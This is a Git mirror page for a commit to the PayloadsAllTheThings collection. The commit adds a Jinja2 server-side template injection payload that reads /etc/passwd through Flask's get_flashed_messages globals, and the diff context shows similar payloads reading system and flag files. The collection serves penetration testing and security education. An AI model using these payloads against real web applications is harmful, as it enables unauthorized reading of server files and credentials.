wanderer/ PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-05-07 18:06:19 +02:00
Code Issues Releases Activity

Merge pull request #325 from u0pattern/u0pattern-patch-1 

SSTI Payload in Jinja2 - Arbitrary file read
This commit is contained in:
Swissky 2021-01-18 10:08:47 +01:00 committed by GitHub
parent d4d2ba45c2 89429f9c4f
commit 0675573d93
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
Server Side Template Injection/README.md
View File

@ -381,6 +381,8 @@ Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
```
### Jinja2 - Write into remote file